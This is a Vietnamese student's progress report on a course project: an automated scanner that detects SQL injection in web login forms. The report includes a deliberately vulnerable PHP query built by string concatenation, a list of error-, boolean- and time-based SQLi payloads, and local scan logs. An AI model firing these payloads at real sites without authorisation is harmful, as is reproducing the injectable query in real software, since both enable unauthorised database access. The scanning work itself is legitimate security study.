BÁO CÁO TUẦN 3 - 4 PROJECT 2

> Phát triển công cụ tự động quét và khai tác lỗ hổng SQL Injection
>
> 23/3/2025 - 5/4/2025
>
> Sinh viên: *Phan Thế Toàn 20225415*
>
> GVHD: *Trần Quang Đức - Trần Đình Kiến Giang*

Link github: https://github.com/PhanTheToan/scanner-sql-injection

Nhiệm vụ

1. Gửi yêu cầu và phân tích phản hồi

   Mô tả: Gửi payload qua Requests.post() hoặc Requests.get(), kiểm tra phản hồi để phát hiện lỗi SQL (VD: mysql_fetch_array) hoặc thay đổi nội dung bất thường.

   Kết quả: Xác định tham số nào có lỗ hổng SQL Injection

2. Tạo báo cáo mẫu

   Mô tả: Tổng hợp kết quả (URL, tham số dễ bị tấn công, payload thành công, dữ liệu trích xuất) và xuất báo cáo dạng `html`.

   Kết quả: Báo cáo các lỗ hổng và loại lỗi

3. Tạo môi trường local để test công cụ

   Tạo các mã để thực hiện login bằng mã nguồn `php`

   Kết quả: Trích xuất các payload có thể gây lỗi SQLi cho hệ thống test

Cách hoạt động hiện tại của Project

Mục đích: Quét các lỗ hổng SQL Injection (SQLi) trong ứng dụng web, *hiện tại đang thử nghiệm tập trung* vào 3 loại chính: **Error Based**, **Boolean Based**, và **Time Based.**

Quy trình hoạt động:

1. Thu thập thông tin: Tải trang web mục tiêu (ví dụ: http://localhost:8000/index.php) và phân tích HTML để tìm form nhập liệu (username, password).
2. Tải payload: Đọc danh sách payload từ file data/payloads.txt, phân loại thành Error, Boolean, và Time.
3. Gửi yêu cầu: Gửi từng payload vào các field của form qua HTTP POST hoặc GET, sử dụng HTTPClient.

4. Phân tích phản hồi:
    - Error Based: Kiểm tra thông báo lỗi SQL (dựa trên SQL_ERROR_PATTERNS như SQLSTATE[42000]).
    - Boolean Based: Kiểm tra chuỗi "Welcome" trong response để xác định đăng nhập thành công.
    - Time Based: Đo thời gian phản hồi (> 4 giây) và kiểm tra payload có chứa hàm delay (SLEEP, WAITFOR).
5. Tạo báo cáo: Ghi nhận lỗ hổng vào file HTML (report.html) bằng template Jinja2.

Dự án local tạo ra để test là một dự án đơn giản với `logic` đăng nhập dùng `query` như sau:

```SQL
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
```

```SQL
# payloads.txt
# Error-Based Payloads
' OR '1'='1'-- x
' OR "1"="1"-- x
' UNION SELECT NULL,NULL,NULL-- x

# Boolean-Based Payloads
' OR 1=1-- x
' AND 1=0-- x

# Time-Based Payloads
' OR SLEEP(5)-- x
' WAITFOR DELAY '0:0:5'-- x
' AND IF(1=1, SLEEP(5), 0)-- x
' OR IF(1=1, SLEEP(5), 0)-- x
```

Khi chạy project với url `localhost:8000/index.php`

- Logs:

```Logs
INFO:__main__:Loaded 3 error, 2 boolean, 4 time payloads. Total unique: 9
INFO:__main__:Found 1 forms on http://localhost:8000/index.php
DEBUG:__main__:Response for payload '' OR '1'='1'-- x' on field 'username': <h2>Login Successful!</h2>Welcome, admin!<br>Welcome, user1!
```

```
    <br>Welcome, user2!<br>...
4   DEBUG:__main__:Checking Boolean Based for '' OR '1'='1'-- x' on
    'username': Detected
5   INFO:__main__:Found vulnerability: <Vulnerability(high): SQL Injection
    (UNKNOWN) - Boolean Based @ http://localhost:8000/index.php>
6   DEBUG:__main__:Response for payload '' OR SLEEP(5)-- x' on field
    'username': <h2>Invalid Credentials</h2>...
7   DEBUG:__main__:Checking Time Based for '' OR SLEEP(5)-- x' on 'username':
    Detected (Elapsed time: 15.00s, Contains delay function: True)
8   INFO:__main__:Found vulnerability: <Vulnerability(critical): SQL
    Injection (UNKNOWN) - Time Based @ http://localhost:8000/index.php>
9   ........
```

- Báo cáo HTML:
  - Total Vulnerabilities: 14
    - High: 10 (2 Error Based, 8 Boolean Based)
    - Critical: 4 (Time Based)